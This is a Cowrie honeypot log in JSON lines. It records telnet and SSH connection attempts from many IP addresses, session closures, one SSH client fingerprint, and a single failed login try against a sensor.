{"eventid":"cowrie.session.connect","src_ip":"66.223.49.88","src_port":37378,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f3cd1152ab6","protocol":"telnet","message":"New connection: 66.223.49.88:37378 (10.17.0.5:23) [session: 1f3cd1152ab6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:44.205161Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.126.156.251","src_port":55558,"dst_ip":"10.17.0.5","dst_port":23,"session":"2798d2f12efc","protocol":"telnet","message":"New connection: 144.126.156.251:55558 (10.17.0.5:23) [session: 2798d2f12efc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:44.213438Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.71.83.154","src_port":59254,"dst_ip":"10.17.0.5","dst_port":23,"session":"4dda36759502","protocol":"telnet","message":"New connection: 146.71.83.154:59254 (10.17.0.5:23) [session: 4dda36759502]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:44.220484Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.55.143.160","src_port":51816,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7412267c4d1","protocol":"telnet","message":"New connection: 216.55.143.160:51816 (10.17.0.5:23) [session: d7412267c4d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:44.242337Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.175.86.26","src_port":36718,"dst_ip":"10.17.0.5","dst_port":23,"session":"556006a4fe67","protocol":"telnet","message":"New connection: 69.175.86.26:36718 (10.17.0.5:23) [session: 556006a4fe67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:44.308813Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.156.231","src_port":37920,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d0b8e6104b5","protocol":"telnet","message":"New connection: 159.65.156.231:37920 (10.17.0.5:23) [session: 1d0b8e6104b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:44.619097Z"}
{"eventid":"cowrie.session.closed","duration":30.906763315200806,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:45.025521Z","src_ip":"162.252.82.70","session":"697f6b80c6a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86134433746338,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:45.039648Z","src_ip":"162.252.82.70","session":"472acca947fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.150.184.17","src_port":46394,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4278302aa5c","protocol":"telnet","message":"New connection: 64.150.184.17:46394 (10.17.0.5:23) [session: e4278302aa5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:45.177333Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.55.143.160","src_port":52198,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6fe2c26fd74","protocol":"telnet","message":"New connection: 216.55.143.160:52198 (10.17.0.5:23) [session: a6fe2c26fd74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:45.276079Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.71.83.154","src_port":59266,"dst_ip":"10.17.0.5","dst_port":23,"session":"f550af238c32","protocol":"telnet","message":"New connection: 146.71.83.154:59266 (10.17.0.5:23) [session: f550af238c32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:45.426223Z"}
{"eventid":"cowrie.session.closed","duration":30.962935209274292,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:46.017385Z","src_ip":"158.69.128.56","session":"e50488f96d8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.71.83.154","src_port":59268,"dst_ip":"10.17.0.5","dst_port":23,"session":"0474da517986","protocol":"telnet","message":"New connection: 146.71.83.154:59268 (10.17.0.5:23) [session: 0474da517986]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:46.197992Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.55.143.160","src_port":52552,"dst_ip":"10.17.0.5","dst_port":23,"session":"976e3b8060e6","protocol":"telnet","message":"New connection: 216.55.143.160:52552 (10.17.0.5:23) [session: 976e3b8060e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:46.343535Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.71.83.154","src_port":40856,"dst_ip":"10.17.0.5","dst_port":23,"session":"b855173fa398","protocol":"telnet","message":"New connection: 146.71.83.154:40856 (10.17.0.5:23) [session: b855173fa398]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:46.893471Z"}
{"eventid":"cowrie.session.closed","duration":30.946638822555542,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:47.079455Z","src_ip":"158.69.128.56","session":"a210720f8996","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.316935300827026,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:48.096082Z","src_ip":"20.244.7.92","session":"1adedafedee9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.002687215805054,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:48.177071Z","src_ip":"216.55.143.160","session":"12a0f6a30627","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.29.9.236","src_port":48020,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d87c89f6b65","protocol":"telnet","message":"New connection: 185.29.9.236:48020 (10.17.0.5:23) [session: 7d87c89f6b65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:48.277048Z"}
{"eventid":"cowrie.session.closed","duration":30.83324885368347,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:49.056454Z","src_ip":"146.71.83.154","session":"7beddb828043","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.20.17","src_port":56714,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f403e847290","protocol":"telnet","message":"New connection: 139.59.20.17:56714 (10.17.0.5:23) [session: 2f403e847290]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:49.654458Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.39.58.191","src_port":40204,"dst_ip":"159.203.135.109","dst_port":22,"session":"d59701b5d845","protocol":"ssh","message":"New connection: 34.39.58.191:40204 (159.203.135.109:22) [session: d59701b5d845]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:49.711802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:49.716332Z","src_ip":"34.39.58.191","session":"d59701b5d845","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:49.791154Z","src_ip":"34.39.58.191","session":"d59701b5d845","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.847454071044922,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:50.038105Z","src_ip":"66.223.49.88","session":"ce392617fd2d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"111111","message":"login attempt [deployer/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:50.119488Z","src_ip":"34.39.58.191","session":"d59701b5d845","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.222.46.37","src_port":50470,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3b473afa0dd","protocol":"telnet","message":"New connection: 51.222.46.37:50470 (10.17.0.5:23) [session: a3b473afa0dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:50.198097Z"}
{"eventid":"cowrie.session.closed","duration":30.97188949584961,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:50.203202Z","src_ip":"216.55.143.160","session":"d678c0dd33e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.545610904693604,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:51.033285Z","src_ip":"199.250.223.224","session":"edb6506f06eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.21.104.13","src_port":47574,"dst_ip":"10.17.0.5","dst_port":23,"session":"1be1aa392536","protocol":"telnet","message":"New connection: 46.21.104.13:47574 (10.17.0.5:23) [session: 1be1aa392536]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:51.083679Z"}
{"eventid":"cowrie.session.closed","duration":30.697861194610596,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:51.131212Z","src_ip":"146.71.83.154","session":"618957ce640e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:51.196810Z","src_ip":"34.39.58.191","session":"d59701b5d845","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.29.9.236","src_port":48582,"dst_ip":"10.17.0.5","dst_port":23,"session":"46396a6f84b2","protocol":"telnet","message":"New connection: 185.29.9.236:48582 (10.17.0.5:23) [session: 46396a6f84b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:51.553548Z"}
{"eventid":"cowrie.session.closed","duration":31.104554176330566,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:51.714332Z","src_ip":"162.252.82.70","session":"7b6b49e1eeda","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8995623588562,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:52.143599Z","src_ip":"216.55.143.160","session":"047f64843807","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.35.204.143","src_port":51188,"dst_ip":"10.17.0.5","dst_port":23,"session":"2653079bf94b","protocol":"telnet","message":"New connection: 161.35.204.143:51188 (10.17.0.5:23) [session: 2653079bf94b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:52.694238Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.71.83.154","src_port":40866,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb655683fe9e","protocol":"telnet","message":"New connection: 146.71.83.154:40866 (10.17.0.5:23) [session: cb655683fe9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:52.893572Z"}
{"eventid":"cowrie.session.closed","duration":30.973681926727295,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:53.010735Z","src_ip":"199.250.223.224","session":"4b70d90b3364","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.250.223.224","src_port":26865,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa710cc29b37","protocol":"telnet","message":"New connection: 199.250.223.224:26865 (10.17.0.5:23) [session: fa710cc29b37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:53.019571Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.222.46.37","src_port":50476,"dst_ip":"10.17.0.5","dst_port":23,"session":"a33821547f9e","protocol":"telnet","message":"New connection: 51.222.46.37:50476 (10.17.0.5:23) [session: a33821547f9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:53.057690Z"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.172.25","src_port":37636,"dst_ip":"10.17.0.5","dst_port":23,"session":"07131aa21417","protocol":"telnet","message":"New connection: 15.204.172.25:37636 (10.17.0.5:23) [session: 07131aa21417]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:53.147794Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.71.83.154","src_port":40870,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa6a3eb38aba","protocol":"telnet","message":"New connection: 146.71.83.154:40870 (10.17.0.5:23) [session: aa6a3eb38aba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:53.196624Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.115.209.253","src_port":45854,"dst_ip":"10.17.0.5","dst_port":23,"session":"07b4740ed7ad","protocol":"telnet","message":"New connection: 74.115.209.253:45854 (10.17.0.5:23) [session: 07b4740ed7ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:53.219963Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.35.204.143","src_port":51370,"dst_ip":"10.17.0.5","dst_port":23,"session":"200421ac4618","protocol":"telnet","message":"New connection: 161.35.204.143:51370 (10.17.0.5:23) [session: 200421ac4618]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:53.341244Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.29.9.236","src_port":49098,"dst_ip":"10.17.0.5","dst_port":23,"session":"08a68162cf36","protocol":"telnet","message":"New connection: 185.29.9.236:49098 (10.17.0.5:23) [session: 08a68162cf36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:54.337723Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.29.9.236","src_port":49110,"dst_ip":"10.17.0.5","dst_port":23,"session":"e17e23216c80","protocol":"telnet","message":"New connection: 185.29.9.236:49110 (10.17.0.5:23) [session: e17e23216c80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:54.349031Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.175.86.26","src_port":38788,"dst_ip":"10.17.0.5","dst_port":23,"session":"43dd68112c47","protocol":"telnet","message":"New connection: 69.175.86.26:38788 (10.17.0.5:23) [session: 43dd68112c47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:55.075139Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.71.83.154","src_port":40884,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c9442c46f8e","protocol":"telnet","message":"New connection: 146.71.83.154:40884 (10.17.0.5:23) [session: 4c9442c46f8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:55.463793Z"}
{"eventid":"cowrie.session.closed","duration":30.91463828086853,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:56.034621Z","src_ip":"199.250.223.224","session":"f64fa68883a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.631080865859985,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:56.050380Z","src_ip":"74.115.209.253","session":"79f9d9477f04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.35.204.143","src_port":52028,"dst_ip":"10.17.0.5","dst_port":23,"session":"53fe6ff52e49","protocol":"telnet","message":"New connection: 161.35.204.143:52028 (10.17.0.5:23) [session: 53fe6ff52e49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:56.237339Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.156.231","src_port":40124,"dst_ip":"10.17.0.5","dst_port":23,"session":"17aa6084d9c8","protocol":"telnet","message":"New connection: 159.65.156.231:40124 (10.17.0.5:23) [session: 17aa6084d9c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:56.738151Z"}
{"eventid":"cowrie.session.closed","duration":30.961394786834717,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:57.017105Z","src_ip":"15.204.172.25","session":"c1ce2c9df370","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.854602336883545,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:57.074008Z","src_ip":"162.252.82.70","session":"54764ac04aa7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.156.231","src_port":40250,"dst_ip":"10.17.0.5","dst_port":23,"session":"c04d30ead50a","protocol":"telnet","message":"New connection: 159.65.156.231:40250 (10.17.0.5:23) [session: c04d30ead50a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:57.095639Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.244.210.29","src_port":56892,"dst_ip":"10.17.0.5","dst_port":23,"session":"655c704689d1","protocol":"telnet","message":"New connection: 173.244.210.29:56892 (10.17.0.5:23) [session: 655c704689d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:57.225303Z"}
{"eventid":"cowrie.session.closed","duration":30.745001316070557,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:57.230654Z","src_ip":"64.112.192.18","session":"dc61a6eab540","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.215527534484863,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:57.474077Z","src_ip":"35.246.154.4","session":"47774515d4a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.819332599639893,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:58.037004Z","src_ip":"66.223.49.88","session":"2551493d8552","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.930472135543823,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:58.041008Z","src_ip":"66.223.49.88","session":"b8d54ec3894d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84533429145813,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:58.050373Z","src_ip":"146.71.83.154","session":"aeac795dbc26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.750007390975952,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:58.054936Z","src_ip":"146.71.83.154","session":"ed6f3d3eeb61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.175.86.26","src_port":39424,"dst_ip":"10.17.0.5","dst_port":23,"session":"c043eb144a66","protocol":"telnet","message":"New connection: 69.175.86.26:39424 (10.17.0.5:23) [session: c043eb144a66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:58.138510Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.20.17","src_port":57150,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3a38b3dfc88","protocol":"telnet","message":"New connection: 139.59.20.17:57150 (10.17.0.5:23) [session: f3a38b3dfc88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:58.717080Z"}
{"eventid":"cowrie.session.closed","duration":30.28298592567444,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:59.061695Z","src_ip":"66.223.49.88","session":"99bc4ed680a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.412535905838013,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:59.107382Z","src_ip":"159.65.156.231","session":"8ac15614e304","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.175.86.26","src_port":39648,"dst_ip":"10.17.0.5","dst_port":23,"session":"614304017357","protocol":"telnet","message":"New connection: 69.175.86.26:39648 (10.17.0.5:23) [session: 614304017357]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:59.169915Z"}
{"eventid":"cowrie.session.closed","duration":30.979164361953735,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:59.235096Z","src_ip":"216.55.143.160","session":"ebb5e10f1447","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"158.69.128.56","src_port":35940,"dst_ip":"10.17.0.5","dst_port":23,"session":"a62b3f839f32","protocol":"telnet","message":"New connection: 158.69.128.56:35940 (10.17.0.5:23) [session: a62b3f839f32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:59.288500Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.244.210.29","src_port":57228,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb263b3de597","protocol":"telnet","message":"New connection: 173.244.210.29:57228 (10.17.0.5:23) [session: eb263b3de597]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:59.298498Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.133.145","src_port":42696,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6e6014de459","protocol":"telnet","message":"New connection: 144.79.133.145:42696 (10.17.0.5:23) [session: a6e6014de459]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:59.972755Z"}
{"eventid":"cowrie.session.closed","duration":30.87130379676819,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:00.039517Z","src_ip":"74.115.209.253","session":"708e91e6dffe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.71.83.154","src_port":37190,"dst_ip":"10.17.0.5","dst_port":23,"session":"f709fc112ce9","protocol":"telnet","message":"New connection: 146.71.83.154:37190 (10.17.0.5:23) [session: f709fc112ce9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:00.183457Z"}
{"eventid":"cowrie.session.closed","duration":30.63527226448059,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:00.250381Z","src_ip":"64.112.192.18","session":"303af34bcbdc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.21.104.13","src_port":48692,"dst_ip":"10.17.0.5","dst_port":23,"session":"50156505bdd4","protocol":"telnet","message":"New connection: 46.21.104.13:48692 (10.17.0.5:23) [session: 50156505bdd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:00.279394Z"}
{"eventid":"cowrie.session.closed","duration":30.758516311645508,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:01.067367Z","src_ip":"74.115.209.253","session":"ad23ccd95a33","protocol":"telnet"}
